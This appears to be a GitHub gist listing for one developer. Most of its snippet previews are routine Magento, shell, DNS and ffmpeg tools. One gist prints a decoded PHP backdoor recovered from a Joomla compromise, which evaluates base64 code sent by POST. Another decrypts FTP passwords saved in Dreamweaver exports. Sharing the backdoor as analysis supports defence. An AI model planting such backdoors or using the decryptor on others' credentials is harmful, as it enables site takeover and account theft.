Skip to content

Instantly share code, notes, and snippets.

@ifnull
ifnull / category.php
Last active August 29, 2015 14:13
Add multi store support to Magento MegaMenu.
// File: /app/design/adminhtml/default/default/template/mgs_megamenu/category.phtml
// append at line #3 directly after the "$category = Mage::getModel[...]" line.
// HACK: Allow us to use root categories not part of default store
$mmId = $this->getRequest()->getParam('id');
if ($mmId){
// Use the first selected store ... hopefully this won't be a problem.
// We should be creating seperate menus for each store anyway. But this
// could be an issue when we get into localization.
$mmStoreId = current(Mage::getModel('megamenu/megamenu')->load($mmId)->getStoreId());
@ifnull
ifnull / README.md
Created December 1, 2014 00:27
Extract all unique URLs from from an access log.

Run brew install gnu-sed on OSX and replace sed with gsed in the command below.

sed -r "s/.*(GET|POST|HEAD|PROPFIND) ([^\?]*?)(\?.*?)? HTTP.*/\2/" \
access_log | grep -v "^/$" | sort | uniq -u
@ifnull
ifnull / README.sh
Created November 29, 2014 05:44
Dump all crons
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done
@ifnull
ifnull / decrypted.php
Created November 17, 2014 19:58
Analysis of Joomla exploit
<?php
if (isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR'])) {
eval(base64_decode($_POST["code"]));
exit();
}
if (isset($_POST["type"]) && $_POST["type"] == "1") {
type1_send();
exit();
} elseif (isset($_POST["type"]) && $_POST["type"] == "2") {
@ifnull
ifnull / README.md
Created November 15, 2014 01:02
Add Magneto cart abandonment funnel to Google Analytics

Magento Code

Add the following code to checkout/onepage.phtml at the bottom.

By default this file is located here:

app/design/frontend/base/default/template/checkout/onepage.phtml
@ifnull
ifnull / README.md
Created October 29, 2014 16:10
Fix DOS line endings.
brew install dos2unix
find . -name "*" -type f -exec dos2unix {} \;
@ifnull
ifnull / dns_dumper.py
Created October 28, 2014 20:56
DNS Dumper: Dumps name servers for a line separated file of domains. Just pass the file containing line separated domains.
#!/usr/bin/python
"""
DNS Dumper: Dumps name servers for a line separated file
of domains. Just pass the file containing line separated
domains.
Author: Daniel Smith (https://github.com/ifnull/)
Usage:
@ifnull
ifnull / jpg2mp4.bash
Last active August 29, 2015 14:08
jpg2mp4: Time lapse images to video using FFMPEG.
ffmpeg \
-f image2 \
-pattern_type glob \
-i './images/*.JPG' \
-c:v libx264 \
-r 29.97 \
out.mp4
@ifnull
ifnull / dreamunweaver.py
Last active August 29, 2015 14:08
DreamUnweaver: Extracts and decrypts password and FTP info from Adobe Dreamweaver *.ste export.
#!/usr/bin/python
"""
DreamUnweaver: Extracts and decrypts password and
FTP info from Adobe Dreamweaver *.ste export.
Author: Daniel Smith (https://github.com/ifnull/)
Usage:
dreamunweaver.py decrypt --ste <argument>